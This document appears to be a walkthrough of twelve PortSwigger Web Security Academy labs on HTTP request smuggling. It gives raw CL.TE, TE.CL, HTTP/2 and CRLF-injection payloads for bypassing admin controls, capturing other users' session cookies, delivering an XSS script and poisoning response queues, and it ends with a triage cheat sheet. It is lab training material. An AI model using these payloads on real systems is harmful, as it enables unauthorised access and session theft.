🧠 Understanding Request Smuggling Vulnerabilities
HTTP Request Smuggling arises when the Front-End and Back-End servers disagree on the boundaries of a request. By exploiting this desynchronization, an attacker can smuggle a malicious request inside a benign one, leading to security bypasses, data theft, and cache poisoning.
This guide breaks down twelve distinct exploitation scenarios found in the PortSwigger Web Security Academy, ranging from basic CL.TE desyncs to advanced HTTP/2 Request Splitting.
🧪 LAB 1: Basic CL.TE Vulnerability
🧐 How the Vulnerability Exists
The Front-End uses the Content-Length header, while the Back-End prioritizes Transfer-Encoding: chunked.
Root Cause: The Back-End stops processing when it sees the 0 chunk, ignoring the Content-Length header that the Front-End obeyed. This leaves the remaining data (GPOST...) in the TCP buffer.
🚨 Exploitation Steps
-
Configure Repeater: Uncheck “Update Content-Length” in the Repeater menu. You must define this header manually.
- Construct Payload:
Headers:
Content-Length: 6(or appropriate length),Transfer-Encoding: chunked. Body: A0chunk followed by the poisoned request prefix.POST / HTTP/1.1 Host: ... Content-Length: 6 Transfer-Encoding: chunked 0 GPOST / HTTP/1.1 Foo: x
- Execute:
Send the request once to poison the socket.
Send a normal request immediately after.
Result: The Back-End combines the waiting
GPOSTline with your new request, triggering an “Unrecognized method GPOST” error.
🧪 LAB 2: Basic TE.CL Vulnerability
🧐 How the Vulnerability Exists
The Front-End uses Transfer-Encoding: chunked, while the Back-End prioritizes Content-Length.
Root Cause: The Back-End trusts the Content-Length header (set to a small number like 4) and stops reading early, even though the Front-End forwarded a larger chunked body.
🚨 Exploitation Steps
-
Configure Repeater: Uncheck “Update Content-Length”.
- Construct Payload:
Headers:
Content-Length: 4,Transfer-Encoding: chunked. Body: The chunk size (5c) tells the Front-End to read the whole block. TheCL: 4tells the Back-End to stop after5c\r\n.POST / HTTP/1.1 Host: ... Content-Length: 4 Transfer-Encoding: chunked 5c GPOST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0
- Execute:
Send once to poison. Send again to trigger.
Result: The Back-End reads
GPOST...as the start of the next request.
🧪 LAB 3: Obfuscating the TE Header (TE.TE)
🧐 How the Vulnerability Exists
Both servers support Transfer-Encoding, but the Back-End can be tricked into ignoring it via obfuscation, forcing it to fall back to Content-Length.
Root Cause: Parser differential. The Front-End sees the valid chunked header, but the Back-End rejects the obfuscated one (e.g., Transfer-encoding: cow).
🚨 Exploitation Steps
-
Obfuscate: Use
Transfer-encoding: coworTransfer-Encoding : chunked. - Construct Payload:
POST / HTTP/1.1 Host: ... Content-Length: 4 Transfer-Encoding: chunked Transfer-encoding: cow 5c GPOST / HTTP/1.1 ... 0
-
Execute: The Front-End treats it as chunked. The Back-End (confused by
cow) treats it as CL (length 4). Result: TE.CL desync achieved.
🧪 LAB 4: Bypassing Front-End Security Controls (CL.TE)
🧐 How the Vulnerability Exists
The Front-End blocks access to /admin. However, the Back-End processes requests sent over the connection, including smuggled data which forms a new request to /admin that the Front-End never inspected.
Root Cause: Security controls are only applied to the outer request.
🚨 Exploitation Steps
- Smuggle Admin Request:
Construct a CL.TE request where the smuggled part is
GET /admin. Crucial: IncludeHost: localhostin the smuggled request to bypass “local users only” checks.POST / HTTP/1.1 ... Content-Length: 116 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Host: localhost Content-Length: 10 x=
-
Solve: Send twice. The second response will contain the Admin panel. Modify the smuggled request to
/admin/delete?username=carlosto solve.
🧪 LAB 5: Bypassing Front-End Security Controls (TE.CL)
🧐 How the Vulnerability Exists
Similar to Lab 4, but using the TE.CL vector. The Front-End forwards the full chunked body, but the Back-End stops reading early, processing the hidden /admin request as the next request.
Root Cause: Incomplete inspection of chunked bodies.
🚨 Exploitation Steps
- Calculate Chunk Size:
You must precisely calculate the hex size of the smuggled request.
POST / HTTP/1.1 Content-Length: 4 Transfer-Encoding: chunked 87 GET /admin/delete?username=carlos HTTP/1.1 Host: localhost Content-Length: 15 x=1 0
-
Execute: Send the request. The Back-End executes the delete command.

🧪 LAB 6: Revealing Front-End Request Rewriting
🧐 How the Vulnerability Exists
The Front-End adds trusted headers (like X-Forwarded-For) to requests before sending them to the Back-End. We need these headers to bypass IP restrictions.
Root Cause: The application reflects the “search term” back to the user. By smuggling a request to the search endpoint, the Front-End will append the internal headers to our search= parameter.
🚨 Exploitation Steps
- Smuggle the Search:
Smuggle a
POSTrequest to the search endpoint. Ensure theContent-Lengthof the smuggled request is large enough to “swallow” the headers of the next request.POST / HTTP/1.1 ... 0 POST / HTTP/1.1 Content-Length: 200 search=
-
Leak Headers: Send the request. The response to the next request will reflect the search term, which now contains the internal headers (e.g.,
X-Abcdef-Ip: 1.2.3.4).
- Exploit:
Use the discovered header to spoof your IP and access
/admin.
🧪 LAB 7: Capturing Other Users’ Requests
🧐 How the Vulnerability Exists
A “Comment” functionality exists where the comment parameter is the last parameter in the body.
Root Cause: By smuggling a request with an open comment= parameter and a large Content-Length, the Back-End treats the entirety of the victim’s request (headers + cookies) as the content of the comment.
🚨 Exploitation Steps
- Construct the Trap:
Smuggle a comment request.
POST / HTTP/1.1 ... 0 POST /post/comment HTTP/1.1 ... Content-Length: 400 csrf=...&comment=
-
Wait for Victim: Send the request. Wait for a user to visit. Check the blog post. You will see a comment containing the victim’s Session Cookie.

- Solve: Hijack the session using the stolen cookie.
🧪 LAB 8: Delivering Reflected XSS via Smuggling
🧐 How the Vulnerability Exists
The application reflects the User-Agent header. Normally, this is self-XSS. However, using smuggling, we can force the victim’s request to be processed with our malicious header.
Root Cause: Context Escalation. Smuggling turns reflected XSS into a “mass” attack vector.
🚨 Exploitation Steps
- Construct Payload:
Smuggle a request that targets the vulnerable endpoint and includes the XSS payload in the
User-Agent.GET /post?postId=... HTTP/1.1 User-Agent: "><script>alert(1)</script>
- Solve: Send the request. The next user’s request triggers this smuggled request, and the server reflects the script back to them.
🧪 LAB 9: Response Queue Poisoning (H2.TE)
🧐 How the Vulnerability Exists
The Front-End speaks HTTP/2, but the Back-End downgrades to HTTP/1.1. By injecting Transfer-Encoding: chunked into the H2 request, we cause the Back-End to see two requests while the Front-End sees one.
Root Cause: Queue Desync. The Front-End matches Response 1 to you and leaves Response 2 (the victim’s response) in the queue for the next user.
🚨 Exploitation Steps
- The “Fishing” Payload:
Smuggle a complete request.
:method: POST transfer-encoding: chunked 0 GET /x HTTP/1.1 Host: ...
-
Capture: Send the attack. Wait. Send a normal request. If you get a 404, you caught your own ghost. If you get a 302, you caught the Admin’s login response. Steal the cookie from the
Set-Cookieheader.
🧪 LAB 10: H2.CL Request Smuggling
🧐 How the Vulnerability Exists
Front-End (H2) determines length via frames. Back-End (H1) respects the injected content-length header.
Root Cause: Downgrade Attack. Injecting content-length: 0 causes the Back-End to stop reading early, treating the body as the next request.
🚨 Exploitation Steps
- Inject Header:
In the H2 request, add
content-length: 0. Put the smuggled request in the body.:method: POST content-length: 0 SMUGGLED
-
Solve: Smuggle a request that redirects the victim to your exploit server to execute JavaScript.

🧪 LAB 11: HTTP/2 Smuggling via CRLF Injection
🧐 How the Vulnerability Exists
You cannot inject transfer-encoding directly. However, the Front-End allows CRLF (\r\n) in header values.
Root Cause: Downgrade Flaw. The Back-End interprets the injected \r\n as a delimiter, creating a new Transfer-Encoding header that wasn’t there before.
🚨 Exploitation Steps
- Inject CRLF:
Add a header
foowith valuebar\r\nTransfer-Encoding: chunked. -
Smuggle: The Back-End now treats the request as chunked. Proceed with a standard CL.TE attack to capture the victim’s session.

🧪 LAB 12: HTTP/2 Request Splitting via CRLF
🧐 How the Vulnerability Exists
You inject \r\n\r\n into a header value.
Root Cause: This terminates the HTTP/1.1 request headers immediately and starts a new request within the same H2 frame. The Back-End sees 2 requests; the Front-End sees 1.
🚨 Exploitation Steps
-
Inject Split: Header
foovalue:bar\r\n\r\nGET /admin HTTP/1.1\r\n...
-
Capture: The Back-End sends two responses. You get the first. The second (Admin response) waits in the queue. Send a follow-up request to catch it.

⚡ Fast Triage Cheat Sheet
| Attack Vector | 🚩 Immediate Signal | 🔧 The Critical Move |
|---|---|---|
| CL.TE | Timeout on short CL/long body. | Uncheck “Update Content-Length”. |
| TE.CL | Timeout on chunked body/short CL. | Set Content-Length: 4. |
| TE.TE | Obfuscated TE accepted. | Transfer-encoding: cow. |
| Admin Bypass | 403 on /admin. |
Smuggle GET /admin with Host: localhost. |
| Capture User | comment param at end. |
Smuggle with Content-Length: 400. |
| H2.TE Queue | 404s on every 2nd request. | “Fish” for 302 Admin redirect. |
| H2 Splitting | Header CRLF injection. | Inject \r\n\r\n to split request. |